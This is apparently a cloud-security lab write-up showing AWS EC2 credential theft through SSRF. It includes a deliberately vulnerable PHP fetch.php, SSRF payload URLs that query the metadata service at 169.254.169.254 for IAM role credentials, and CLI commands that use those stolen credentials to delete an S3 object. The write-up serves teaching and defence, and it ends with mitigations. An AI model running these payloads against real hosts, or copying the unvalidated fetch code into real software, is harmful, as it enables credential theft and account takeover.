Cloud Security

AWS EC2 Credentials Theft via SSRF Abuse

In AWS, small configuration oversights can lead to big security gaps. This lab demonstrates how attackers can leverage a seemingly harmless setup to access sensitive data through the abuse of the EC2 Instance Metadata Service (IMDS), ultimately gaining higher privileges. This highlights the importance of proper IAM role management and instance security controls.

Table Of Contents

About SSRF and IMDS

Lab Setup

Part 1: IAM Lab Setup

  • Creating IAM User with Restricted Access
  • Creating an EC2 Instance
  • Creating an IAM Role
  • IAM Role assigning to the EC2 Instance and Connecting to Amazon Linux
  • Installing Apache Server and PHP

Part 2: Enumeration and Exploitation

  • Enumerating profile with Python script
  • Enumerating EC2 Instance
  • SSRF Vulnerability Exploitation
  • IAM Role (ec2-admin) Privilege Escalation

Analysis

Recommendations

Conclusion

About SSRF and IMDS

SSRF:

Server-Side Request Forgery (SSRF) occurs when an application fetches data from a user-supplied URL without proper validation. Attackers can provide a malicious URL, tricking the server into making requests to internal or external resources, potentially exposing secrets, databases, or files.

IMDS:

All major cloud providers (AWS, Azure, GCP) have their own IMDS implementation, it’s a general cloud concept. The idea is the same, the instance can query metadata and, if configured, get temporary credentials. The risk is also similar: if an attacker can reach the metadata service (e.g., via SSRF), they can potentially steal credentials. All the big three cloud providers run their Instance Metadata Service (IMDS) on the link-local IP 169.254.169.254.

AWS IMDS: AWS IMDS supports two versions: IMDSv1 (no token required) and IMDSv2 (token required). AWS recommends enforcing IMDSv2 only with token required to improve security.

Part 1: IAM Lab Setup

This lab uses an Amazon Linux EC2 instance with an attached admin IAM role and an IAM user lgt_sanjeet with limited access permissions to simulate privilege escalation via the EC2 metadata service.

IAM user: Igt_sanjeet with limited permissions

Instance: Igt_server               

IAM role: ec2_admin with AdministrativeAccess policy (assigned to instance)

Creating IAM User with Restricted Access

  • In the left navigation pane, under Access management, select Users. On the Users page, click Create user.

  • Give the user a User name (e.g. lgt_sanjeet) and press

  • Set permission to configure lgt_sanjeet user’s permissions as Attach policies directly from the Permissions options.

  • On the Review and create page, verify the user details and assigned permissions, click Create user.

  • Go to IAM > Users, then click on the user lgt_sanjeet from the list.

  • After selecting user lgt_sanjeet, click on “Create access key” under Security credentials.

EC2 credentials theft via SSRF

  • Then, Select “Command Line Interface (CLI)”as the use case

  • Check the confirmation box, then click Next to proceed with creating the access key.

EC2 credentials theft via SSRF

Now download the .csv file containing the Access Key ID and Secret Access Key. Keep these credentials secure.

Creating an EC2 Instance

  • In the AWS Management Console, navigate to EC2 and select Instances. Click Launch instances, then in the Name and tags section enter lgt_server. In the Application and OS Images (Amazon Machine Image) section, select Amazon Linux.

EC2 credentials theft via SSRF

  • In the Instance type section, select micro (Free tier eligible). In the Key pair (login) section, click Create new key pair to generate a key for connecting to your instance.

EC2 credentials theft via SSRF

  • In the Create key pair window, enter lgt-server in the Key pair name field. Keep the Key pair type as RSA and the Private key file format as .pem. Click Create key pair, then download and securely store the key file for future SSH access.

EC2 credentials theft via SSRF

  • In the Network settings section, select Create security group and select Allow SSH traffic from, click Edit

  • Under Security group rules, set Type to All TCP and Source type to Anywhere (0.0.0.0/0).
Security Warning:

Allowing All TCP from Anywhere exposes every port on your instance to the internet. This should only be used in controlled lab environments for testing.

EC2 credentials theft via SSRF

  • In the Advanced details section, the Domain join directory and IAM instance profile should be left unselected, as they are not required for this lab.

  • In the metadata settings, set Metadata accessible to Enabled. Under Metadata version, select V1 and V2 (token optional). For Allow tags in metadata, select Enable.
 ⚠ Security Warning:

Enabling metadata access with V1 may expose instance credentials if the           application is vulnerable to SSRF. In production, use V2 only with token requirements to reduce exposure risk.

  • After reviewing your configuration, click Launch instance to create and start your EC2 instance.

  • A confirmation message will appear showing “Successfully initiated launch of instance” along with the instance ID.

EC2 credentials theft via SSRF 

Creating an IAM Role

  • AWS Management Console > IAM > Roles > Click Create role.

  • In the Select trusted entity step, choose AWS service as the trusted entity type. Under Service or use case, select EC2, then choose the EC2 as use case option.

EC2 credentials theft via SSRF

  • In the Add permissions step, search for AdministratorAccess, check the box next to the AdministratorAccess policy, and click Next

  • In the Name, review, and create step, enter ec2-admin as the role name and add the description as shown. Review the details and click Create role.

  • Review the details and click Create role.

Assigning an IAM Role to the EC2 Instance and Connecting to Amazon Linux

  • In the Instances page, ensure your instance lgt_server is in the Running state, then select the checkbox next to it.

EC2 credentials theft via SSRF

  • With the instance selected, go to Actions > Security > Modify IAM role.

  • In the Modify IAM role page, select ec2-admin from the IAM role dropdown list, then click Update IAM role.

  • On the Instances page, select lgt_server and click Connect to open the connection options for your instance.

  • In the Connect to instance page, ensure Connect using a Public IP is selected. Confirm the username is ec2-user, then click Connect to open the browser-based terminal.

EC2 credentials theft via SSRF

  • Once connected, the browser-based terminal will open, displaying the Amazon Linux welcome message. You are now logged in as ec2-user and can execute commands on your EC2 instance.

  • After connecting to the EC2 instance, run the following to switch to root user.
sudo bash

             Then update the system packages with:

yum update -y

          If all packages are up to date, you’ll see “Nothing to do. Complete!” in the output.

Installing Apache Server and PHP

  • Install Apache HTTP Server and PHP, then start and enable the Apache service. This ensures that Apache is installed, is running, and is set to start automatically on boot.
yum install -y httpd php
systemctl start httpd
systemctl enable httpd

EC2 credentials theft via SSRF

  • Open the Apache default web root file php. The PHP file that will be served as the default page for your Apache web server can be created or edited by you.
sudo nano /var/www/html/index.php

  • In the php file, add the following HTML code to create a simple web form. This form allows a user to enter a URL, which will be sent to fetch.php for processing , forming the front-end of the SSRF demonstration.
<html>
<body>
<h1>Welcome to SSRF Vulnerable App</h1>
<form action="fetch.php" method="GET">
Enter URL: <input type="text" name="url">
<input type="submit" value="Fetch">
</form>
</body>
</html>

  • Open (or create) the php file in the Nano text editor within the Apache web root directory. This file will handle the form submission from index.php and process the URL input provided by the user. In this lab, it will be used to demonstrate the SSRF vulnerability logic.
sudo nano /var/www/html/fetch.php

  • Add SSRF-vulnerable PHP code into php to retrieve and display content from a user-supplied URL
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    $content = file_get_contents($url);
    echo $content;
}
?>

This code takes the URL parameter from the GET request, fetches the content from that address, and displays it in the browser.

NOTE:

Because the URL value is user-controlled and there is no input validation or filtering, it introduces an SSRF vulnerability that allows an attacker to make arbitrary server-side requests.

EC2 credentials theft via SSRF

  • Set the correct ownership for the Apache web root directory and restart the Apache service.
sudo chown -R apache:apache /var/www/html
sudo systemctl restart httpd
    • The first command changes the ownership of /var/www/html (and its contents) to the Apache user and group (apache:apache), ensuring the web server can read and serve files properly.
    • The second command restarts the Apache HTTP server so that changes take effect.

  • Open a browser and visit http://<EC2_PUBLIC_IP>/.
    You should see the “Welcome to SSRF Vulnerable App” page with a text box and Fetch
    Enter any URL (e.g., http://example.com) and click Fetch to have the server request that address.

⚠ For lab use only: this page is intentionally vulnerable and performs no validation on the user-controlled URL.

Part 2: Enumeration & Exploitation

What does SSRF vulnerability mean for attackers?

In real-world scenarios, attackers often exploit SSRF vulnerabilities in cloud-hosted applications to query the AWS metadata service. By doing so, they can obtain temporary security credentials linked to IAM roles. With these credentials, an attacker may enumerate IAM users, groups, and policies, which can further expose misconfigurations or lead to privilege escalation.

Enumerating profile with Python script

Run the enumerate-iam.py script using the Access Key ID and Secret Access Key of restricted IAM user lgt_sanjeet.

python enumerate-iam.py --access-key AKI*********** --secret-key q0T*************

The script output will reveal the IAM user name (Igt_sanjeet) and all the policies attached to it.

  • AmazonEC2FullAccess → Full control over EC2 instances
  • IAMReadOnlyAccess → Read-only access to IAM users, groups, and roles
  • AmazonS3ReadOnlyAccess → Read-only access to all S3 buckets

The enumeration reveals an instance profile ec2-admin with the AdministratorAccess policy. This effectively gives us full control of the AWS account, representing a high-risk privilege escalation scenario.

EC2 credentials theft via SSRF

Enumerating EC2 Instance

 Now successfully set up the AWS CLI with the IAM user’s credentials, to directly interact with the AWS environment from Kali machine.

aws configure


EC2 instances in the target account were enumerated using AWS CLI, and it was confirmed that Igt_web1 is terminated while Igt_server is in a stopped state.

aws ec2 describe-instances \
  --query 'Reservations[].Instances[].[Tags[?Key==`Name`]|[0].Value, State.Name]' \
  --output text

EC2 credentials theft via SSRF

Enumerated running EC2 instances and identified their Instance IDs, including i-016908b20314c2d70 for Igt_server.

The following command successfully retrieved both the instance names and their unique identifiers. This can be used for subsequent actions such as starting, stopping, or attaching IAM roles.

aws ec2 describe-instances --query 'Reservations[*].Instances[*].[Tags[?Key==`Name`].Value | [0], InstanceId]' --output text

Using the AWS CLI, I successfully started the stopped EC2 instance (i-016908b20314c2d70), transitioning it from stopped to pending state.

aws ec2 start-instances --instance-ids i-016908b20314c2d70

This screenshot demonstrates the successful transition of the EC2 instance named lgt_server into the running state, confirming that the instance start operation was executed properly and the server is now active.

aws ec2 describe-instances --query 'Reservations[*].Instances[*].[Tags[?Key==`Name`].Value[0], State.Name]' --output text

EC2 credentials theft via SSRF

The command reveals the public IP address (65.1.93.95) of the running EC2 instance, which can be used for remote access or further testing.

aws ec2 describe-instances --query "Reservations[*].Instances[*].PublicIpAddress" --output text

SSRF Vulnerability Exploitation

This screenshot demonstrates that the deployed EC2 instance is hosting an intentionally vulnerable SSRF (Server-Side Request Forgery) application, accessible through the public IP 65.1.93.95. It’s done by opening the public IP address of the running EC2 instance in a web browser.

This screenshot shows the exploitation of an SSRF vulnerability, where the vulnerable application sends a request to the AWS instance metadata service (http://169.254.169.254/latest) in an attempt to retrieve sensitive instance information such as IAM credentials by supplying the AWS IMDS endpoint in the ENTER URL box and clicking Fetch.

http://169.254.169.254/latest/meta-data/

The server makes the request on behalf of the user and returns internal metadata.
In this case, the response shows different metadata categories such as ami-id, hostname, iam, security-groups, etc.

This screenshot demonstrates how the SSRF payload was further exploited to enumerate AWS instance metadata and retrieve IAM role information, revealing the attached role ec2-admin

http://65.1.93.95/fetch.php?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F/iam/security-credentials/

This screenshot shows the final stage of the SSRF exploitation, where the vulnerable application successfully retrieves temporary AWS IAM security credentials (AccessKeyId, SecretAccessKey, and SessionToken) for the attached role (ec2-admin).

http://65.1.93.95/fetch.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-admin

IAM Role (ec2-admin) Privilege Escalation

The AWS CLI listed the file secrets.txt inside the S3 bucket igt-bucket, but an attempt to delete the file failed due to insufficient IAM permissions (AccessDenied).

aws s3 ls s3://igt-bucket /
aws s3 rm s3://igt-bucket/secrets.txt

EC2 credentials theft via SSRF

The compromised IAM role exported the AWS access key, secret key, and session token as environment variables to authenticate with AWS services.

export AWS_ACCESS_KEY_ID=ASIAXPJ***************
export AWS_SECRET_ACCESS_KEY=SvEMItwhRPI+0FZf***************
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEIX//////////wEaCmFwLXNvdXRoLTIiSDBGAiE***************clvdLsDAKH0rJXFVci0Mb09+U0bKDVe3B4e2Z2PQH"

Delete the file from S3 bucket, it demonstrates that the IAM role (ec2-admin) had permissions to delete objects from the S3 bucket

aws s3 rm s3://igt-bucket/secrets.txt

 List contents of S3 bucket, confirms that the object was deleted and the bucket no longer lists secrets.txt.

aws s3 ls s3://igt-bucket/

 Verify identity/role of current AWS session which is ec2-admin in this case.

aws sts get-caller-identity

EC2 credentials theft via SSRF

Analysis

By exploiting the SSRF vulnerability, the attacker was able to access the Instance Metadata Service (IMDS), retrieve temporary credentials, and assume the attached EC2 IAM role. With these elevated permissions, the attacker gained the ability to list and manipulate cloud resources (e.g., S3 buckets, EC2 instances), effectively achieving privilege escalation. Escalation path was :

Limited IAM User → Exploit SSRF to access IMDS → Retrieve Temporary Credentials → Assume EC2 IAM Role → Enumerate Permissions → Identify Overly-Permissive Role (e.g., EC2FullAccess) → Abuse Role Privileges → Full Admin AccessAWS Environment Compromise

Recommendations

  • Validate and sanitize user-supplied URLs.
  • Block requests to internal IP ranges like 254.169.254 (IMDS)
  • Log all external fetch attempts and monitor for abnormal patterns.
  • Apply principle of least privilege to IAM roles.
  • Require Instance Metadata Service v2 (IMDSv2) across all EC2 instances. This adds session-based tokens and mitigates SSRF metadata theft.
  • The ec2-admin role should not have broad S3 read/write/delete Limit access only to required buckets/paths.

Conclusion

This lab demonstrated how a seemingly minor application flaw such as Server-Side Request Forgery (SSRF) can escalate into a full cloud compromise when combined with over-permissive IAM roles. The exercise highlights that defense in depth is essential in cloud environments. Even if vulnerabilities exposed the applications, the attack chain would have been contained or blocked by proper configuration of IMDS, least privilege IAM roles, and strict monitoring controls.

If you want to learn more on Cloud Pentesting. Follow this Link.

Author: Fatima Aziz is an accomplished cybersecurity professional with expertise in cloud security, holding certifications like GPCS and CCSK. Contact Fatima Aziz on LinkedIn.